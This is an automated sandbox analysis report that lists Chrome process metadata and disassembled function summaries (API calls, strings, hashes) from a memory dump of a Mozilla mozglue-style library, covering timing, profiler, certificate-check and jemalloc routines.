Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:27:15
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2312,i,16225279011638824055,3735573977793458152,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C67F688,00001000), ref: 6C5F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5F369F
__aulldiv.LIBCMT ref: 6C5F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5F3773
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C5F377E
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C5F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5F37C4
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C5F37CB
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C5F3801
__aulldiv.LIBCMT ref: 6C5F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5F394C

Strings

GTC, xrefs: 6C5F3912
MOZ_TIMESTAMP_MODE, xrefs: 6C5F35DB
QPC, xrefs: 6C5F38FC
AuthcAMDenti, xrefs: 6C5F3946
GenuntelineI, xrefs: 6C5F3639

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f634040921f35b0eea2789530feb0b376285e7a234b4135b532e185e57b868d2
Instruction ID: ae5b6e22665f3c3b621aea985a60e67c72874dd9e28f11a251944836f67cabf9
Opcode Fuzzy Hash: f634040921f35b0eea2789530feb0b376285e7a234b4135b532e185e57b868d2
Instruction Fuzzy Hash: 79B1D571B093209FDB0DDF2AC894A5A77F5BB8A704F148D2DE499D3350D73098058FAA

Function 6C60C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C60C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C60C969
GetSystemInfo.KERNEL32(?), ref: 6C60C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C60C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C60C9E2

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: adae4016409be28a9c7b87b0c713ea7a4c10ab72bdfc57a16b48e8af9ccfc184
Instruction ID: ea0ab1f602709e0d25c2043ab4b3eac6a1b32a6c44a7defb6ce004247f9a3471
Opcode Fuzzy Hash: adae4016409be28a9c7b87b0c713ea7a4c10ab72bdfc57a16b48e8af9ccfc184
Instruction Fuzzy Hash: BC21C5317416247BDB0DAA25C9C4BAE72B9AB86744F50051AF903A7A80EB6058048BBE

Function 6C5F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5F3095

Part of subcall function 6C5F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C67F688,00001000), ref: 6C5F35D5
Part of subcall function 6C5F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5F35E0
Part of subcall function 6C5F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5F35FD
Part of subcall function 6C5F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5F363F
Part of subcall function 6C5F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5F369F
Part of subcall function 6C5F35A0: __aulldiv.LIBCMT ref: 6C5F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F309F

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5F30BE

Part of subcall function 6C5F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5F3127
Part of subcall function 6C5F30F0: __aulldiv.LIBCMT ref: 6C5F3140

Part of subcall function 6C62AB2A: __onexit.LIBCMT ref: 6C62AB30

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3e1371c1ac841b0546449f294d89ba1aa2724a09ded8fc9f2c12f6e559b30f3f
Instruction ID: b22d755705290fa2e715f224c7c122e7f20122a2fc477e63226915a5f0e2073d
Opcode Fuzzy Hash: 3e1371c1ac841b0546449f294d89ba1aa2724a09ded8fc9f2c12f6e559b30f3f
Instruction Fuzzy Hash: C1F04922D3075496CB15EF3588C15E6B370EFAB114F501B19E84413511FB2062D883EF

Non-executed Functions

Function 6C605477 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 575
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C605492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6054BE
__Init_thread_footer.LIBCMT ref: 6C6054DB

Part of subcall function 6C62AB3F: EnterCriticalSection.KERNEL32(6C67E370,?,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB49
Part of subcall function 6C62AB3F: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62AB7C

GetCurrentThreadId.KERNEL32 ref: 6C6054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C605516
GetCurrentThreadId.KERNEL32 ref: 6C60556A
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C605577
moz_xmalloc.MOZGLUE(00000070), ref: 6C605585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C605590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP), ref: 6C6055E6
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C605606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C605616
GetCurrentThreadId.KERNEL32 ref: 6C60563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C605646

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C605D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C605766
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C605BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6C605511
[I %d/%d] profiler_init, xrefs: 6C60564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C60548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6057C5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C605D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6057AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C605AC9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6056E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6054B9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C605D01
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C605C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C605D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C605B38
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C605CF9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C605791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C605717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C60584E
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C605749
GeckoMain, xrefs: 6C605554, 6C6055D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6054A3
MOZ_PROFILER_STARTUP, xrefs: 6C6055E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C605724

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$CurrentThread$EnterExclusiveLeaveLock$AcquireCreation@Init_thread_footerProcessReleaseStamp@mozilla@@TimeV12@__acrt_iob_func__stdio_common_vfprintf_getpidfreemoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 1000357164-1266492768
Opcode ID: 9c11f1e9aa4da54aa4b6719c4ec568a404fcaf0cf5507455c51fd1a00f93563c
Instruction ID: 25002c8e6bab9c8ebef5900c22b72c78bdee71452a14603bef8b910cf271865d
Opcode Fuzzy Hash: 9c11f1e9aa4da54aa4b6719c4ec568a404fcaf0cf5507455c51fd1a00f93563c
Instruction Fuzzy Hash: B3220570A043109BEB099F65895875A77B4AF8734CF140D2AE94AA7B41EB35C444CF6F

Function 6C63B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C63B845
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63B852
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63B884
InitializeConditionVariable.KERNEL32(?), ref: 6C63B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C63B9FD
GetCurrentThreadId.KERNEL32 ref: 6C63BA05
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63BA27
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63BA4B
free.MOZGLUE(?), ref: 6C63C9C7
free.MOZGLUE(?), ref: 6C63C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C63C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C63C878

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 5250d44739d19cdf35a7fbce3ef57e5f31e7fa869afeb79d693bb8d830e9291d
Instruction ID: 48600ae2d90f23a6a40ddbc54ab03e2511dea3655df97523b1216bee6b10e1aa
Opcode Fuzzy Hash: 5250d44739d19cdf35a7fbce3ef57e5f31e7fa869afeb79d693bb8d830e9291d
Instruction Fuzzy Hash: E1A2CC71A083908FC725CF29C480B9BB7E5BFCA314F105A2DE89D97751DB709909CB9A

Function 6C606C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C606CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C606D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C606D26

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C606D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C606D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C606D73
free.MOZGLUE(00000000), ref: 6C606D80
CertGetNameStringW.CRYPT32 ref: 6C606DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C606DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C606DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C606DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C606E10
CryptMsgClose.CRYPT32(00000000), ref: 6C606E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C606E34
CreateFileW.KERNEL32 ref: 6C606EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C606F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C606F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C60709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C607103
free.MOZGLUE(00000000), ref: 6C607153
CloseHandle.KERNEL32(?), ref: 6C607176
__Init_thread_footer.LIBCMT ref: 6C607209
__Init_thread_footer.LIBCMT ref: 6C60723A
__Init_thread_footer.LIBCMT ref: 6C60726B
__Init_thread_footer.LIBCMT ref: 6C60729C
__Init_thread_footer.LIBCMT ref: 6C6072DC
__Init_thread_footer.LIBCMT ref: 6C60730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6073C2
VerSetConditionMask.NTDLL ref: 6C6073F3
VerSetConditionMask.NTDLL ref: 6C6073FF
VerSetConditionMask.NTDLL ref: 6C607406
VerSetConditionMask.NTDLL ref: 6C60740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C60741A
moz_xmalloc.MOZGLUE(?), ref: 6C60755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C607568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C607585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C607598
free.MOZGLUE(00000000), ref: 6C6075AC

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6072C8
SHA256, xrefs: 6C606EC0
wintrust.dll, xrefs: 6C6072CD
(, xrefs: 6C60768A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 265510603915c629c3714f96b877014bc538e9e85bf646c149d0b142250c3f70
Instruction ID: d6605cef8a7cc05a270b64ca4bd92ce6de61b48ed3cfd16da25138cbaee4d07f
Opcode Fuzzy Hash: 265510603915c629c3714f96b877014bc538e9e85bf646c149d0b142250c3f70
Instruction Fuzzy Hash: 9852E7B1A042149FEB26CF25CD84FEA77B8EF46304F104599E909A7640DB70AF84CF69

Function 6C626FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C627019
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C627061
EnterCriticalSection.KERNEL32(?), ref: 6C6271A4
LeaveCriticalSection.KERNEL32(?), ref: 6C62721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C62723E
EnterCriticalSection.KERNEL32(?), ref: 6C62726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6272B2
LeaveCriticalSection.KERNEL32(?), ref: 6C62733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6273E8
LeaveCriticalSection.KERNEL32(?), ref: 6C62961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C629622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C629642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C62964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6296CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6296DB
AcquireSRWLockExclusive.KERNEL32(6C67E804), ref: 6C629747
GetSystemInfo.KERNEL32(?), ref: 6C629792
__Init_thread_footer.LIBCMT ref: 6C6297A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C67E810,00000040), ref: 6C6297CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7B8,00001388), ref: 6C629838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E744,00001388), ref: 6C62984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E784,00001388), ref: 6C629874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7DC,00001388), ref: 6C629895

Strings

MOZ_CRASH(), xrefs: 6C629B42
: (malloc) Unsupported character in malloc options: ', xrefs: 6C629BF4
Compile-time page size does not divide the runtime one., xrefs: 6C629B38
<jemalloc>, xrefs: 6C629B33, 6C629BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6299BD
MALLOC_OPTIONS, xrefs: 6C6297CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C629993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6299A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6299D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C629933, 6C629A33, 6C629A4E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 15ae9021ace22e03c9bbf3697f542c30118e7ca69f3fde8c7685bec518cfb9f9
Instruction ID: cae0a47e7c75adb230ff51a6aad07f5effc5c92864f38ed3e1354093cbc9b57d
Opcode Fuzzy Hash: 15ae9021ace22e03c9bbf3697f542c30118e7ca69f3fde8c7685bec518cfb9f9
Instruction Fuzzy Hash: 6A538072A057018FD704CF29C980655BBE1BFC9328F29C66DE8698B7A1D739E841CF85

Function 6C630DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C630F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C630F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C630FB7
EnterCriticalSection.KERNEL32(?), ref: 6C630FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C631031
LeaveCriticalSection.KERNEL32(?), ref: 6C6310D0
EnterCriticalSection.KERNEL32(?), ref: 6C63117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C631C39
EnterCriticalSection.KERNEL32(6C67E744), ref: 6C633391
LeaveCriticalSection.KERNEL32(6C67E744), ref: 6C6333CD
LeaveCriticalSection.KERNEL32(?), ref: 6C633431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C633437

Strings

MOZ_CRASH(), xrefs: 6C633950
: (malloc) Unsupported character in malloc options: ', xrefs: 6C633A02
Compile-time page size does not divide the runtime one., xrefs: 6C633946
<jemalloc>, xrefs: 6C633941, 6C6339F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6337BD
MALLOC_OPTIONS, xrefs: 6C6335FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C633793
